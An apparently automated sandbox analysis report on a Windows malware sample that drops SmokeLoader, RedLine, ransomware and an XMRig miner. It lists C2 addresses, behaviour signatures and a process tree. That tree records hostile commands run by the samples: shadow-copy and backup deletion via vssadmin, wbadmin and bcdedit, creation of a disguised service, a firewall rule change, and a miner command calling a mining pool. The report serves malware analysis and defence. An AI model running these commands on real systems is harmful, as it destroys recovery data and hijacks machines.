Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    windows10_x64
  • resource
    win10-en-20210920
  • submitted
    21/09/2021, 06:16

General

  • Target

    552e28b79ebd4c645e17786ea1ecb91b3cab794aa14134885aed0cf89fd843f1.exe

  • Size

    212KB

  • MD5

    33858553e84fac9e3f91337adef7f195

  • SHA1

    ea215b7d922d4c30ca7a85fbf7170ecc2c937c9f

  • SHA256

    552e28b79ebd4c645e17786ea1ecb91b3cab794aa14134885aed0cf89fd843f1

  • SHA512

    bf57190d96b58cf5daf718fe749e17da7ea8c7cc8c9841d843fa146be0f44e8e164793b0d403920d19fc1efc94b355e0d1ae4b0e32dd5e10c7876d2d4ff2fd03

Malware Config

Extracted

Family

smokeloader

Version

2020

C2

http://venerynnet1.top/

http://kevonahira2.top/

http://vegangelist3.top/

http://kingriffaele4.top/

http://arakeishant5.top/

rc4.i32
rc4.i32

Extracted

Family

redline

Botnet

installEXE

C2

146.70.35.170:30905

Signatures

  • MedusaLocker

    Ransomware with several variants first seen in September 2019.

  • MedusaLocker Payload 1 IoCs
  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 3 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
  • XMRig Miner Payload 3 IoCs
  • Creates new service(s) 1 TTPs
  • Deletes System State backups 3 TTPs 2 IoCs

    Uses wbadmin.exe to inhibit system recovery.

  • Downloads MZ/PE file
  • Drops file in Drivers directory 12 IoCs
  • Executes dropped EXE 11 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Modifies extensions of user files 16 IoCs

    Ransomware generally changes the extension on encrypted files.

  • Sets service image path in registry 2 TTPs
  • Checks BIOS information in registry 2 TTPs 4 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Deletes itself 1 IoCs
  • Loads dropped DLL 5 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Themida packer 5 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 2 IoCs
  • Drops desktop.ini file(s) 1 IoCs
  • Enumerates connected drives 3 TTPs 42 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in System32 directory 64 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 5 IoCs
  • Drops file in Program Files directory 49 IoCs
  • Drops file in Windows directory 64 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 6 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
  • Interacts with shadow copies 2 TTPs 13 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies data under HKEY_USERS 9 IoCs
  • Modifies registry class 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 3 IoCs
  • Suspicious use of SendNotifyMessage 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\552e28b79ebd4c645e17786ea1ecb91b3cab794aa14134885aed0cf89fd843f1.exe
    "C:\Users\Admin\AppData\Local\Temp\552e28b79ebd4c645e17786ea1ecb91b3cab794aa14134885aed0cf89fd843f1.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:2428
    • C:\Users\Admin\AppData\Local\Temp\552e28b79ebd4c645e17786ea1ecb91b3cab794aa14134885aed0cf89fd843f1.exe
      "C:\Users\Admin\AppData\Local\Temp\552e28b79ebd4c645e17786ea1ecb91b3cab794aa14134885aed0cf89fd843f1.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:2636
  • C:\Users\Admin\AppData\Local\Temp\EFA5.exe
    C:\Users\Admin\AppData\Local\Temp\EFA5.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:3040
    • C:\Users\Admin\AppData\Local\Temp\EFA5.exe
      C:\Users\Admin\AppData\Local\Temp\EFA5.exe
      2⤵
      • Executes dropped EXE
      • Checks SCSI registry key(s)
      • Suspicious behavior: MapViewOfSection
      PID:420
  • C:\Users\Admin\AppData\Local\Temp\F6EA.exe
    C:\Users\Admin\AppData\Local\Temp\F6EA.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:3744
    • C:\Users\Admin\AppData\Local\Temp\F6EA.exe
      C:\Users\Admin\AppData\Local\Temp\F6EA.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:3900
  • C:\Users\Admin\AppData\Local\Temp\2B2.exe
    C:\Users\Admin\AppData\Local\Temp\2B2.exe
    1⤵
    • Executes dropped EXE
    • Checks BIOS information in registry
    • Checks whether UAC is enabled
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Suspicious use of AdjustPrivilegeToken
    PID:584
  • C:\Users\Admin\AppData\Local\Temp\6016.exe
    C:\Users\Admin\AppData\Local\Temp\6016.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:1300
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\dworkmct\
      2⤵
        PID:1416
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\qtrmgnxh.exe" C:\Windows\SysWOW64\dworkmct\
        2⤵
          PID:900
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create dworkmct binPath= "C:\Windows\SysWOW64\dworkmct\qtrmgnxh.exe /d\"C:\Users\Admin\AppData\Local\Temp\6016.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:3384
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description dworkmct "wifi internet conection"
            2⤵
              PID:1808
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start dworkmct
              2⤵
                PID:2348
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:3024
              • C:\Users\Admin\AppData\Local\Temp\6CD8.exe
                C:\Users\Admin\AppData\Local\Temp\6CD8.exe
                1⤵
                • Executes dropped EXE
                • Checks BIOS information in registry
                • Checks whether UAC is enabled
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                • Suspicious use of AdjustPrivilegeToken
                PID:2632
              • C:\Users\Admin\AppData\Local\Temp\7C79.exe
                C:\Users\Admin\AppData\Local\Temp\7C79.exe
                1⤵
                • Executes dropped EXE
                • Loads dropped DLL
                PID:4008
                • C:\Windows\SysWOW64\cmd.exe
                  cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\7C79.exe"
                  2⤵
                    PID:2184
                    • C:\Windows\SysWOW64\timeout.exe
                      timeout /T 10 /NOBREAK
                      3⤵
                      • Delays execution with timeout.exe
                      PID:3744
                • C:\Windows\SysWOW64\dworkmct\qtrmgnxh.exe
                  C:\Windows\SysWOW64\dworkmct\qtrmgnxh.exe /d"C:\Users\Admin\AppData\Local\Temp\6016.exe"
                  1⤵
                  • Executes dropped EXE
                  • Suspicious use of SetThreadContext
                  • Suspicious use of WriteProcessMemory
                  PID:3556
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe
                    2⤵
                    • Drops file in System32 directory
                    • Suspicious use of SetThreadContext
                    • Modifies data under HKEY_USERS
                    PID:2752
                    • C:\Windows\SysWOW64\svchost.exe
                      svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                      3⤵
                        PID:2328
                  • C:\Users\Admin\AppData\Local\Temp\A261.exe
                    C:\Users\Admin\AppData\Local\Temp\A261.exe
                    1⤵
                    • Drops file in Drivers directory
                    • Executes dropped EXE
                    • Modifies extensions of user files
                    • Adds Run key to start application
                    • Drops desktop.ini file(s)
                    • Enumerates connected drives
                    • Drops file in System32 directory
                    • Drops file in Program Files directory
                    • Drops file in Windows directory
                    • Suspicious use of WriteProcessMemory
                    • System policy modification
                    PID:804
                    • C:\Windows\SYSTEM32\vssadmin.exe
                      vssadmin.exe Resize ShadowStorage /for=c: /on=c: /maxsize=401MB
                      2⤵
                      • Interacts with shadow copies
                      PID:936
                    • C:\Windows\SYSTEM32\vssadmin.exe
                      vssadmin.exe Resize ShadowStorage /for=c: /on=c: /maxsize=unbounded
                      2⤵
                      • Interacts with shadow copies
                      PID:1116
                    • C:\Windows\SYSTEM32\vssadmin.exe
                      vssadmin.exe Resize ShadowStorage /for=d: /on=d: /maxsize=401MB
                      2⤵
                      • Enumerates connected drives
                      • Interacts with shadow copies
                      PID:3700
                    • C:\Windows\SYSTEM32\vssadmin.exe
                      vssadmin.exe Resize ShadowStorage /for=d: /on=d: /maxsize=unbounded
                      2⤵
                      • Enumerates connected drives
                      • Interacts with shadow copies
                      PID:3040
                    • C:\Windows\SYSTEM32\vssadmin.exe
                      vssadmin.exe Resize ShadowStorage /for=e: /on=e: /maxsize=401MB
                      2⤵
                      • Enumerates connected drives
                      • Interacts with shadow copies
                      PID:2216
                    • C:\Windows\SYSTEM32\vssadmin.exe
                      vssadmin.exe Resize ShadowStorage /for=e: /on=e: /maxsize=unbounded
                      2⤵
                      • Enumerates connected drives
                      • Interacts with shadow copies
                      PID:260
                    • C:\Windows\SYSTEM32\vssadmin.exe
                      vssadmin.exe Resize ShadowStorage /for=f: /on=f: /maxsize=401MB
                      2⤵
                      • Enumerates connected drives
                      • Interacts with shadow copies
                      PID:1328
                    • C:\Windows\SYSTEM32\vssadmin.exe
                      vssadmin.exe Resize ShadowStorage /for=f: /on=f: /maxsize=unbounded
                      2⤵
                      • Enumerates connected drives
                      • Interacts with shadow copies
                      PID:2240
                    • C:\Windows\SYSTEM32\vssadmin.exe
                      vssadmin.exe Resize ShadowStorage /for=g: /on=g: /maxsize=401MB
                      2⤵
                      • Enumerates connected drives
                      • Interacts with shadow copies
                      PID:1020
                    • C:\Windows\SYSTEM32\vssadmin.exe
                      vssadmin.exe Resize ShadowStorage /for=g: /on=g: /maxsize=unbounded
                      2⤵
                      • Enumerates connected drives
                      • Interacts with shadow copies
                      PID:1084
                    • C:\Windows\SYSTEM32\vssadmin.exe
                      vssadmin.exe Resize ShadowStorage /for=h: /on=h: /maxsize=401MB
                      2⤵
                      • Enumerates connected drives
                      • Interacts with shadow copies
                      PID:8
                    • C:\Windows\SYSTEM32\vssadmin.exe
                      vssadmin.exe Resize ShadowStorage /for=h: /on=h: /maxsize=unbounded
                      2⤵
                      • Enumerates connected drives
                      • Interacts with shadow copies
                      PID:248
                    • C:\Windows\SYSTEM32\vssadmin.exe
                      vssadmin.exe Delete Shadows /All /Quiet
                      2⤵
                      • Interacts with shadow copies
                      PID:2696
                    • C:\Windows\SYSTEM32\bcdedit.exe
                      bcdedit.exe /set {default} recoveryenabled No
                      2⤵
                      • Modifies boot configuration data using bcdedit
                      PID:500
                    • C:\Windows\SYSTEM32\bcdedit.exe
                      bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
                      2⤵
                      • Modifies boot configuration data using bcdedit
                      PID:3824
                    • C:\Windows\SYSTEM32\wbadmin.exe
                      wbadmin DELETE SYSTEMSTATEBACKUP
                      2⤵
                      • Deletes System State backups
                      • Drops file in Windows directory
                      PID:2616
                    • C:\Windows\SYSTEM32\wbadmin.exe
                      wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest
                      2⤵
                      • Deletes System State backups
                      • Drops file in Windows directory
                      PID:1120
                    • C:\Windows\System32\Wbem\wmic.exe
                      wmic.exe SHADOWCOPY /nointeractive
                      2⤵
                        PID:1476
                      • C:\Windows\system32\cmd.exe
                        "C:\Windows\system32\cmd.exe" /c del C:\Users\Admin\AppData\Local\Temp\A261.exe >> NUL
                        2⤵
                          PID:3936
                      • C:\Users\Admin\AppData\Local\Temp\B176.exe
                        C:\Users\Admin\AppData\Local\Temp\B176.exe
                        1⤵
                        • Executes dropped EXE
                        PID:1792
                      • C:\Windows\system32\vssvc.exe
                        C:\Windows\system32\vssvc.exe
                        1⤵
                          PID:1300

                        Network

                        MITRE ATT&CK Enterprise v6

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        • memory/584-138-0x0000000000080000-0x0000000000081000-memory.dmp

                          Filesize

                          4KB

                        • memory/584-141-0x0000000005030000-0x0000000005031000-memory.dmp

                          Filesize

                          4KB

                        • memory/584-160-0x0000000006820000-0x0000000006821000-memory.dmp

                          Filesize

                          4KB

                        • memory/584-162-0x0000000006F20000-0x0000000006F21000-memory.dmp

                          Filesize

                          4KB

                        • memory/584-166-0x00000000069F0000-0x00000000069F1000-memory.dmp

                          Filesize

                          4KB

                        • memory/584-174-0x0000000007A50000-0x0000000007A51000-memory.dmp

                          Filesize

                          4KB

                        • memory/584-156-0x0000000005130000-0x0000000005131000-memory.dmp

                          Filesize

                          4KB

                        • memory/584-140-0x0000000005750000-0x0000000005751000-memory.dmp

                          Filesize

                          4KB

                        • memory/584-155-0x00000000050D0000-0x00000000050D1000-memory.dmp

                          Filesize

                          4KB

                        • memory/584-153-0x0000000077D50000-0x0000000077EDE000-memory.dmp

                          Filesize

                          1.6MB

                        • memory/584-151-0x0000000005090000-0x0000000005091000-memory.dmp

                          Filesize

                          4KB

                        • memory/584-142-0x0000000005250000-0x0000000005251000-memory.dmp

                          Filesize

                          4KB

                        • memory/804-249-0x00007FF766670000-0x00007FF766EE8000-memory.dmp

                          Filesize

                          8.5MB

                        • memory/1300-213-0x0000000000400000-0x00000000004C0000-memory.dmp

                          Filesize

                          768KB

                        • memory/1300-212-0x00000000001D0000-0x00000000001E3000-memory.dmp

                          Filesize

                          76KB

                        • memory/1792-273-0x0000000002150000-0x00000000021E0000-memory.dmp

                          Filesize

                          576KB

                        • memory/1792-274-0x0000000000400000-0x0000000000503000-memory.dmp

                          Filesize

                          1.0MB

                        • memory/2328-281-0x0000000002450000-0x0000000002541000-memory.dmp

                          Filesize

                          964KB

                        • memory/2328-276-0x0000000002450000-0x0000000002541000-memory.dmp

                          Filesize

                          964KB

                        • memory/2428-117-0x0000000000620000-0x0000000000629000-memory.dmp

                          Filesize

                          36KB

                        • memory/2632-206-0x0000000077D50000-0x0000000077EDE000-memory.dmp

                          Filesize

                          1.6MB

                        • memory/2632-211-0x0000000002CB0000-0x0000000002CB1000-memory.dmp

                          Filesize

                          4KB

                        • memory/2632-210-0x00000000055F0000-0x00000000055F1000-memory.dmp

                          Filesize

                          4KB

                        • memory/2632-203-0x0000000001170000-0x0000000001171000-memory.dmp

                          Filesize

                          4KB

                        • memory/2636-115-0x0000000000400000-0x0000000000408000-memory.dmp

                          Filesize

                          32KB

                        • memory/2752-236-0x0000000002CB0000-0x0000000002CC5000-memory.dmp

                          Filesize

                          84KB

                        • memory/3028-183-0x0000000004AA0000-0x0000000004AB0000-memory.dmp

                          Filesize

                          64KB

                        • memory/3028-190-0x0000000001200000-0x0000000001210000-memory.dmp

                          Filesize

                          64KB

                        • memory/3028-186-0x0000000001200000-0x0000000001210000-memory.dmp

                          Filesize

                          64KB

                        • memory/3028-194-0x0000000001200000-0x0000000001210000-memory.dmp

                          Filesize

                          64KB

                        • memory/3028-187-0x0000000001200000-0x0000000001210000-memory.dmp

                          Filesize

                          64KB

                        • memory/3028-193-0x0000000001200000-0x0000000001210000-memory.dmp

                          Filesize

                          64KB

                        • memory/3028-191-0x0000000004AA0000-0x0000000004AB0000-memory.dmp

                          Filesize

                          64KB

                        • memory/3028-185-0x0000000004AA0000-0x0000000004AB0000-memory.dmp

                          Filesize

                          64KB

                        • memory/3028-184-0x0000000001200000-0x0000000001210000-memory.dmp

                          Filesize

                          64KB

                        • memory/3028-182-0x0000000001200000-0x0000000001210000-memory.dmp

                          Filesize

                          64KB

                        • memory/3028-195-0x0000000001200000-0x0000000001210000-memory.dmp

                          Filesize

                          64KB

                        • memory/3028-180-0x0000000001200000-0x0000000001210000-memory.dmp

                          Filesize

                          64KB

                        • memory/3028-118-0x0000000000EB0000-0x0000000000EC5000-memory.dmp

                          Filesize

                          84KB

                        • memory/3028-192-0x0000000001200000-0x0000000001210000-memory.dmp

                          Filesize

                          64KB

                        • memory/3028-181-0x0000000001200000-0x0000000001210000-memory.dmp

                          Filesize

                          64KB

                        • memory/3028-179-0x0000000001200000-0x0000000001210000-memory.dmp

                          Filesize

                          64KB

                        • memory/3028-159-0x0000000003190000-0x00000000031A5000-memory.dmp

                          Filesize

                          84KB

                        • memory/3028-178-0x0000000001200000-0x0000000001210000-memory.dmp

                          Filesize

                          64KB

                        • memory/3028-177-0x0000000004A90000-0x0000000004AA0000-memory.dmp

                          Filesize

                          64KB

                        • memory/3028-175-0x0000000001130000-0x0000000001140000-memory.dmp

                          Filesize

                          64KB

                        • memory/3028-188-0x0000000001200000-0x0000000001210000-memory.dmp

                          Filesize

                          64KB

                        • memory/3028-189-0x0000000001200000-0x0000000001210000-memory.dmp

                          Filesize

                          64KB

                        • memory/3028-176-0x0000000001200000-0x0000000001210000-memory.dmp

                          Filesize

                          64KB

                        • memory/3040-136-0x00000000005A0000-0x00000000006EA000-memory.dmp

                          Filesize

                          1.3MB

                        • memory/3556-240-0x00000000004C0000-0x000000000056E000-memory.dmp

                          Filesize

                          696KB

                        • memory/3556-241-0x0000000000400000-0x00000000004C0000-memory.dmp

                          Filesize

                          768KB

                        • memory/3744-130-0x0000000005080000-0x0000000005081000-memory.dmp

                          Filesize

                          4KB

                        • memory/3744-128-0x00000000029A0000-0x00000000029A1000-memory.dmp

                          Filesize

                          4KB

                        • memory/3744-125-0x00000000006B0000-0x00000000006B1000-memory.dmp

                          Filesize

                          4KB

                        • memory/3744-129-0x0000000005590000-0x0000000005591000-memory.dmp

                          Filesize

                          4KB

                        • memory/3744-127-0x0000000004F50000-0x0000000004F51000-memory.dmp

                          Filesize

                          4KB

                        • memory/3900-143-0x0000000000400000-0x0000000000422000-memory.dmp

                          Filesize

                          136KB

                        • memory/3900-154-0x0000000004F80000-0x0000000005586000-memory.dmp

                          Filesize

                          6.0MB

                        • memory/3900-167-0x0000000006D60000-0x0000000006D61000-memory.dmp

                          Filesize

                          4KB

                        • memory/4008-226-0x0000000000400000-0x0000000004605000-memory.dmp

                          Filesize

                          66.0MB

                        • memory/4008-225-0x0000000006570000-0x000000000A64F000-memory.dmp

                          Filesize

                          64.9MB